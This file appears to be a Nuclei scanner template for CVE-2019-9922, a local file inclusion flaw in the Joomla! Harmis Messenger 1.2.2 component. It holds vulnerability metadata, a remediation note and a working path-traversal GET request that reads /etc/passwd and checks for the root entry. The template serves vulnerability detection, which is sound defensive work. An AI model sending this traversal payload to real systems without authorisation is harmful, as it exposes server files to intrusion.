id: CVE-2019-9922

info:
  name: Joomla! Harmis Messenger 1.2.2 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Joomla! Harmis Messenger 1.2.2 is vulnerable to local file inclusion which could give an attacker read access to arbitrary files.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! application.
  remediation: |
    Update to the latest version of Harmis Messenger (1.2.3) or apply the patch provided by the vendor to fix the LFI vulnerability.
  reference:
    - https://github.com/azd-cert/CVE/blob/master/CVEs/CVE-2019-9922.md
    - https://extensions.joomla.org/extension/je-messenger/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/azd-cert/CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9922
    cwe-id: CWE-22
    epss-score: 0.1059
    epss-percentile: 0.95325
    cpe: cpe:2.3:a:harmistechnology:je_messenger:1.2.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: harmistechnology
    product: je_messenger
    framework: joomla\!
  tags: cve2019,cve,joomla,messenger,lfi,harmistechnology,joomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022048f118b01db6d9dd83d018c949fb96c055ca93e3060207f66a57aa3bdbe593b4022100d8d6f7c15d555eba4f3423d224e0e6f372f3dbab6dad33e00a3f99ddbf155f91:922c64590222798bb761d5b6d8e72950